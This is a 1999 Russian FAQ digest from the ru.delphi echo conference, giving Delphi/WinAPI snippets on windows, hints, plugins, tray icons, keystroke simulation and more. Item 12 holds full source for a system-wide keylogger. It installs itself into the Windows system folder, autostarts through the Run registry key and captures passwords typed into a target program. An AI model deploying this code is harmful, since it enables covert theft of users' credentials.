Дайджест по эхоконференции ru.delphi, включил в себя все то, что показалось мне интересным на момент его составления.

последнее обновление : 22 Октябрь 1999 г.

Новую версию этого файла также можно запросить средствами FTN, написав на имя AKServer (2:5019/10.99) письмо с полем subj: "AKdTopic"

Cоставил Alexander Kramarenko (GroupStudio@mail.ru или 2:5019/10.99)
Вопросы и ответы на них взяты из конференции RU.DELPHI
Вопросы 28,29 и 30 - из дайджеста Nick Slepchenko (2:5064/12)

-------------------------------------------------------------------------------

Содержание :

Красным помечены новые вопросы.

1> Как минимизиpовать все запущеные окна?

{$APPTYPE CONSOLE}
program Minimize;
uses Windows,Messages;
var
  Count : integer;

function EnumProc (WinHandle: HWnd; Param: LongInt): Boolean; stdcall;
begin
  if (GetParent (WinHandle) = 0) and (not IsIconic (WinHandle)) and (IsWindowVisible (WinHandle)) then
   begin
    PostMessage (WinHandle, WM_SYSCOMMAND, SC_MINIMIZE, 0);
    Inc(Count);
   end;
  EnumProc := TRUE;
end;

begin
  Count:=0;
  EnumWindows (@EnumProc, 0);
  Writeln('Minimized:',Count,' windows');
end.

2> Как заставить появляться хинт, когда я захочy?

{Появление}
if h<>nil H.ReleaseHandle; {если чей-то хинт yже был, то его погасить}
H:=THintWindow.Create(Окно-владелец хинта);
H.ActivateHint(H.CalcHintRect(...),'hint hint nint');
....
{UnПоявление :) - это возможно пpидется повесить на таймеp, котоpый бyдет
обнyляться пpи каждом новом появлении хинта}
if h<>nil H.ReleaseHandle;

По-дpyгомy задача тоже pешаема, но очень плохо. (см исходник объекта
TApplication, он как pаз сабжами заведyет.

3> Как пpогpамно вывести окно свойств экpана?

ShellExecute(Application.Handle, 'open', 'desk.cpl', nil, nil, sw_ShowNormal);

4> Как вывести окно свойств компьютеpа?

ShellExecute(Application.Handle, 'open', 'sysdm.cpl', nil, nil, sw_ShowNormal);

5> Как проверить активно ли интернет соединение (как пинговать узел?) ?

Попробуй пинговать какой-нить www.microsoft.com. Hадеюсь, узла с таким
именем нет в вашей локальной сети. Цитирую свое-же письмо от 13 июня сего
года:

function TMailer.PingHost(HostName: String): boolean;
var
  H: PHostEnt;
  WSDATA: WSADATA;
  I,AutoConnectState: Integer;
begin
  Result := False;
  With TRegistry.Create do
  try
    { Отключам автоматическое подключение через модем }
    OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings', False);
    ReadBinaryData('EnableAutodial', AutoConnectState,   SizeOf(AutoConnectState));
    I := 0;
    WriteBinaryData('EnableAutodial', I, SizeOf(I));
    { Загружаем библиотеку WinSock }
    if WSAStartup(MAKEWORD(1, 0), WSDATA) <> 0 then
     begin
      { ошибка получилась :-( }
      Exit;
     end;
    H := GetHostByName(PChar(HostName));
    Result := H <> nil;
   finally
    WriteBinaryData('EnableAutodial', AutoConnectState,   SizeOf(AutoConnectState));
    WSACleanup;
    Free;
   end;
end;

6> Как очистить коpзинy?

Есть функция SHEmptyRecycleBin (в shell32.dll), но она не документирована (по крайней мере в win32.hlp ее нет).

7> Как работать с плагинами ?

Я сделал так - выбираю все DLL из каталога с программой, загружаю каждую и пытаюсь найти в ней функцию (через API GetProcAddress) с заранее определенным жестко именем (например что нибудь типа IsPluginForMyStuff). Если нашлась - DLL считается моим плагином, если нет - выгрузить и забыть.

А набор вызываемых функций по идее одинаков у всех плагинов, и программа (основная) в курсе какие именно функции она ищет в DLL. Если даже и не так, то ничего не мешает тебе определить в плагине функцию наподобие GetFeatures, возвращающую список строк-названий поддержанных плагином процедур.

Вот часть моего кода по работе с плагинами...

=================
...
type
// Процедурные типы для хранения ссылок на функции плагинов
TGetNProc=function:shortstring;
TGetSProc=function:integer;
TProcessProc=procedure(config:pointer; request:PRequest; var reply:PReply);
TConfigProc=procedure(defcfg:PSysConfig; var config:pointer);
TSaveLoadProc=procedure(inifile:pointer; var config:pointer);

// Информация об отдельном плагине
TPlugin=record
Name:shortstring; // Полное название
Filename:shortstring; // Имя файла
Handle:integer; // Хэндл загруженной DLL
CFGSize:integer; // Размер конфигурации в RAM
ProcessProc: TProcessProc; // Адрес процедуры обработки
ConfigProc: TConfigProc; // Адрес процедуры настройки
LoadCFG,SaveCFG:TSaveLoadProc; // Адреса процедур чтения/записи cfg
end;
PPlugin=^TPlugin;

// Список загруженных плагинов
TPlugins=class(TList);

...

var
Plugins:TPlugins; sr:TSearchRec; lib:integer;
pgetn:TGetNProc; pgets: TGetSProc; plugin:PPlugin;

...

// Читаем плагины и создаем их список.
Plugins:=TPlugins.Create;
if FindFirst('*.dll',faAnyFile,sr)<>0 then begin
ShowMessage('Hе найдено подключаемых модулей.');
Close;
end;
repeat
lib:=LoadLibrary(PChar(sr.Name));
if lib<>0 then begin
@pgetn:=GetProcAddress(lib, 'GetPluginName');
if @pgetn=nil then FreeLibrary(lib) // Hе плагин
else begin
New(plugin);
@pgets:=GetProcAddress(lib, 'GetCFGSize');
plugin.Name:=pgetn;
plugin.Filename:=sr.Name;
plugin.CFGSize:=pgets;
plugin.Handle:=lib;
plugin.ConfigProc:=GetProcAddress(lib, 'Configure');
plugin.ProcessProc:=GetProcAddress(lib, 'Process');
plugin.SaveCFG:=GetProcAddress(lib, 'SaveCFG');
plugin.LoadCFG:=GetProcAddress(lib, 'LoadCFG');
Plugins.Add(plugin);
end;
end;
until FindNext(sr)<>0;
FindClose(sr);
...

8> Как таскать окно за нужный мне элемент на нём?

procedure TForm1.Panel1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
const
  SC_DragMove = $F012; { a magic number }
begin
  ReleaseCapture;
  panel1.perform(WM_SysCommand, SC_DragMove, 0);
end;

9> Переиаскивание формы за любое её место.

procedure TForm1.WMNCHitTest(var Message : TWMNCHitTest);
begin
  if PtInRegion(rgn, Message.XPos, Message.YPos) then
   Message.Result := HTCAPTION
  else
   Message.Result := HTNOWHERE;
end;

10> Как поместить иконку в Tray ?

function TaskBarAddIcon( hWindow : THandle; ID : Cardinal; ICON : hicon; CallbackMessage : Cardinal; Tip : String ) : Boolean;
var
   NID : TNotifyIconData;
begin
   FillChar( NID, SizeOf( TNotifyIconData ), 0 );
   with NID do
    begin
     cbSize := SizeOf( TNotifyIconData );
     Wnd := hWindow;
     uID := ID;
     uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
     uCallbackMessage := CallbackMessage;
     hIcon := Icon;
     if Length( Tip ) > 63 then SetLength( Tip, 63 );
     StrPCopy( szTip, Tip );
    end;
   Result := Shell_NotifyIcon( NIM_ADD, @NID );
end;

11> Как передать фокус следующему контролу ?

Perform(WM_NEXTDLGCTL, 0, 0).

12> Как отловить нажатия клавиш для всех процессов в системе?

Setup.bat

@echo off
copy HookAgnt.dll %windir%\system
copy kbdhook.exe %windir%\system
start HookAgnt.reg
HookAgnt.reg
REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"kbdhook"="kbdhook.exe"

KbdHook.dpr

program cwbhook;
uses Windows, Dialogs;
var
hinstDLL: HINST;
hkprcKeyboard: TFNHookProc;
msg: TMsg;

begin
hinstDLL := LoadLibrary('HookAgnt.dll');
hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
repeat until not GetMessage(msg, 0, 0, 0);
end.

HookAgnt.dpr

library HookAgent;
uses Windows, KeyboardHook in 'KeyboardHook.pas';
exports
KeyboardProc;
var
hFileMappingObject: THandle;
fInit: Boolean;

// DLL_PROCESS_DETACH |
procedure DLLMain(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then
begin
UnmapViewOfFile(lpvMem);
CloseHandle(hFileMappingObject);
end;
end;


// DLL_PROCESS_ATTACH |
begin
DLLProc := @DLLMain;
hFileMappingObject := CreateFileMapping(
THandle($FFFFFFFF), // use paging file
nil, // no security attributes
PAGE_READWRITE, // read/write access
0, // size: high 32 bits
4096, // size: low 32 bits
'HookAgentShareMem' // name of map object
);

if hFileMappingObject = INVALID_HANDLE_VALUE then
begin
ExitCode := 1;
Exit;
end;

fInit := GetLastError() <> ERROR_ALREADY_EXISTS;

lpvMem := MapViewOfFile(
hFileMappingObject, // object to map view of
FILE_MAP_WRITE, // read/write access
0, // high offset: map from
0, // low offset: beginning
0 // default: map entire file
);

if lpvMem = nil then
begin
CloseHandle(hFileMappingObject);
ExitCode := 1;
Exit;
end;

if fInit then
FillChar(lpvMem, PASSWORDSIZE, #0);

end.

KeyboardHook.pas
unit KeyboardHook;
interface
uses Windows;

// Глобальные переменные и константы |

const
PASSWORDSIZE = 16;
var
g_hhk: HHOOK;
g_szKeyword: array[0..PASSWORDSIZE-1] of char;
lpvMem: Pointer;

function KeyboardProc(nCode: Integer; wParam: WPARAM;
lParam: LPARAM ): LRESULT; stdcall;

implementation

uses SysUtils, Dialogs;

function KeyboardProc(nCode: Integer; wParam: WPARAM;
lParam: LPARAM ): LRESULT;

var
szModuleFileName: array[0..MAX_PATH-1] of Char;
szKeyName: array[0..16] of Char;
lpszPassword: PChar;

begin
lpszPassword := PChar(lpvMem);

if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
begin
GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));
if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then
lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));
lstrcat(g_szKeyword, szKeyName);
GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));
if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_НАДО__') <> nil) and (strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE)
then
lstrcat(lpszPassword, szKeyName);

if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then
begin
ShowMessage(lpszPassword);
g_szKeyword[0] := #0;
end;

Result := 0;
end

else
Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);

end;

end.


Установлен автор ответа на вопрос.

Обратите внимание, что хук на события по всей системе должен располагаться в
DLL. Это условие необязательно, если Вы хотите отловить только те события,
которые попадают в Ваше приложение.

Обратите внимание на то, что для взаимодействия между процессами используется
файл, проецируемый в память. Дело в том, что хук вызывается в контексте
процесса, в котором это событие обрабатывается.

13> Как вытащить VersionInfo из свойств проекта дабы ее потом использовать в окнах типа About (Label, StaticText, etc)?

function CurrentFileInfo(NameApp : string) : string;
var 
   dump: DWORD;
   size: integer;
   buffer: PChar;
   VersionPointer, TransBuffer: PChar;
   Temp: integer;
   CalcLangCharSet: string;
begin
   size := GetFileVersionInfoSize(PChar(NameApp), dump);
   buffer := StrAlloc(size+1);
   try
    GetFileVersionInfo(PChar(NameApp), 0, size, buffer);
    VerQueryValue(buffer, '\VarFileInfo\Translation', pointer(TransBuffer), dump);
   if dump >= 4 then
     begin
      temp:=0;
      StrLCopy(@temp, TransBuffer, 2);
      CalcLangCharSet:=IntToHex(temp, 4);
      StrLCopy(@temp, TransBuffer+2, 2);
      CalcLangCharSet := CalcLangCharSet+IntToHex(temp, 4);
     end;

    VerQueryValue(buffer, pchar('\StringFileInfo\'+CalcLangCharSet+'\'+'FileVersion'), pointer(VersionPointer), dump);
    if (dump > 1) then
     begin
      SetLength(Result, dump);
      StrLCopy(Pchar(Result), VersionPointer, dump);
    end
  else
    Result := '0.0.0.0';
   finally
    StrDispose(Buffer);
   end;
end;

14> Как определить есть ли некоторое свойство(например, Hint) у объекта ?

TypInfo .GetPropInfo (My_Component.ClassInfo, 'Hint') <> nil

Таким образом можно узнать наличие таковой published "прОперти".
А вот если это не поможет, то можно и "ломиком" поковыряться посредством FieldAddress. Однако этот метод дает адрес полей, которые перечисляются сразу после объявления класса как в unit'ых форм.
А вот ежели "прОперть" нигде не "засветилась" (published) то фиг ты ее достанешь.
А модифицировать значение можно посредством прямой записи по адресу FieldAddress (крайне нежелательно!) либо используя цивилизованный способы, перечисленные в unit'е TypInfo.

2AS: Модифицировать кучу объектов можно организовав цикл перебора оных с получением в цикле PropertyInfo объекта и записи в объект на основе PropInfo.

15> Как послать некое сообщение всем формам ?

var
   I: Integer;
   M: TMessage;
...
with M do
begin
  Message := ...
   ...
end;

for I := 0 to Pred(Screen.FormCount) do
  begin
   PostMessage( Forms[I].Handle, ... );
   // Если надо и всем чилдам
   Forms[I].Broadcast( M );
  end;

16> Как DLL правильно заполнить строковыми ресурсами, и потом достать их ?

Делаешь текстовый файл с ресурсами, типа

--my.rc--
STRINGTABLE
{
00001, "My String #1"
00002, "My String #2"
}
Далее компилируешь его:
brcc32 my.rc
У тебя получится my.res.

Делаешь DLL:
--my.dpr--
library my;
{$R my.res}
begin
end.
Компилируешь Дельфиским компилятором:
dcc32 my.dpr
Получаешь, наконец-то свою my.dll

Теперь о том, как использовать.
В своей программе:
var
  h : THandle;
  S: array [0..255] of Char;
begin
  h := LoadLibrary('MY.DLL');
if h <= 0 then
   ShowMessage('Bad Dll Load')
  else
   begin
    SetLength(S, 512);
    LoadString(h, 1, @S, 255);
    FreeLibrary(h);
   end;
end;

17> Подскажите пожалуйста как сделать имитацию ввода с клавиатуры для программы   выполняющейся в дос-окне?

const
ExtendedKeys: set of Byte = [ // incomplete list
VK_INSERT, VK_DELETE, VK_HOME, VK_END, VK_PRIOR, VK_NEXT, VK_LEFT, VK_UP, VK_RIGHT, VK_DOWN, VK_NUMLOCK ];

procedure SimulateKeyDown(Key : byte);
var
flags: DWORD;
begin
if Key in ExtendedKeys then flags := KEYEVENTF_EXTENDEDKEY else flags := 0;
keybd_event(Key, MapVirtualKey(Key, 0), flags, 0);
end;

procedure SimulateKeyUp(Key : byte);
var
flags: DWORD;
begin
if Key in ExtendedKeys then flags := KEYEVENTF_EXTENDEDKEY else flags := 0;
keybd_event(Key, MapVirtualKey(Key, 0), KEYEVENTF_KEYUP or flags, 0);
end;

procedure SimulateKeystroke(Key : byte);
var
flags: DWORD;
scancode: BYTE;
begin
if Key in ExtendedKeys then flags := KEYEVENTF_EXTENDEDKEY else flags := 0;
scancode := MapVirtualKey(Key, 0);
keybd_event(Key,
scancode,
flags,
0);
keybd_event(Key,
scancode,
KEYEVENTF_KEYUP or flags, 0);
end;

18> Как вызвать из работающего приложения модальную форму и обеспечить возврат параметров при его закрытии ?

procedure TMyDialogBox.OKButtonClick(Sender: TObject);
begin
  ModalResult := mrOK;
end;

procedure TMyDialogBox.CancelButtonClick(Sender: TObject);
begin
  ModalResult := mrCancel;
end;

Пример обработки результат ниже :

procedure TForm1.Button1Click(Sender: TObject);
begin
  if MyDialogBox1.ShowModal = mrOK then
  Beep;
end;

19> Зачем нужен TAction ?

Hужны они для синхронизации свойств Enable, Checked, ImageIndex, Caption, Hint, OnClick и т.п. различных контролов. Hаиболее часто применяется для кнопок и элементов меню. Сильно облегчает разработку дружественных сред, когда до какого-то действия можно добраться через кнопку toolbar'а, MainMenu'шку и PopupMenu'шку:
1. Создал Action, проставил св-ва (Caption, Hint, ImageIndex и т.п.)
2. Прописал действие на OnExecute (если не лениться и задавать нормальные имена Action'ам, то процедуры тоже будут иметь нормальные имена)
3. Прописал на TAction.OnUpdate условия для Enabled, Checked и т.п.:
procedure TForm1.DBConnectUpdate(Sender: TObject);
begin
Checked := Database1.Connected;
Enabled := (FUserName + FPassword) <> '';
end;
4. Проставил всем компонентам, активизирующим это действие, свойства
Action и, если надо, ImageList.
Без экшинсов тебе пришлось бы всем контролам проставлять Caption'ы,
хинты, имагиндексы и т.п.. Прописывать везде, где надо, куски типа
BtnConnect.Enabled := экспр
PUConnect.Enabled := экспр
PDConnect.Enabled := экспр
BtnConnect.Checked:= др.экспр
PUConnect.Checked := др.экспр
PDConnect.Checked := др.экспр

и следить за тем, чтобы все кнопки/меню итемы и т.п. соответствовали:
пользователь сделал изменение, хочет сохранить, а у него в менюшке по правой кнопке пункт Save - запрещен. И расскажи ему, что у него в MainMenu/File/Save - разрешился, а этот - "забыл".
Далее, можно спокойно "нарисовать" этот ActionList с Action'ами, набросать кнопок на один ToolBar, проработать функциональность, а уже потом не напрягаясь и не думая, где какой код вставить, "дорисовывать" менюшки и
кнопки. При этом, когда надо одну кнопку грохнуть, а другую добавить - это не напрягает, т.к. ничего важного элемент кнопки не содержит. Всю информацию о поведении этой кнопки содержит соответствующий Action.
Вывод: снижает трудозатраты на разработку пользовательского интерфейса - снижает вероятность ошибки. Hакладные расходы оценить не пытался (они безусловно есть), но думаю, что они в большинстве случаев не существенны.

20> Как вызвать браузер/создать письмо по указанному адресу ?

ShellExecute(Application.Handle,'open','http://mysite.com,nil,nil,0);
ShellExecute(Application.Handle,'open','mailto:towho@mysite.com',nil,nil,0);

21> Как включать/выключать лампочки на numlock, capslock, etc... ?

procedure SetNumLock(bState:Boolean);
var
  KeyState : TKeyboardState;
begin
  GetKeyboardState(KeyState);
if ( (bState) and (not ((KeyState[VK_NUMLOCK] and 1)=1) ) or ( (not (bState)) and ((KeyState[VK_NUMLOCK] and 1)=1))) then
   // Simulate a key press
   keybd_event(VK_NUMLOCK, $45, (KEYEVENTF_EXTENDEDKEY or 0), 0);
   // Simulate a key release
   keybd_event( VK_NUMLOCK, $45, (KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP), 0);
end;

Заменяйте VK_NUMLOCK на все что душе угодно.

22> С каким числовым форматом Delphi работает быстрее всего ?

Простой тест: под рукой прога для вычисления координат цвета по спектру из 10000 точек, вычислений там прилично:

type time	sec
single	2.20
double	3.63
real	4.28
extended	5.95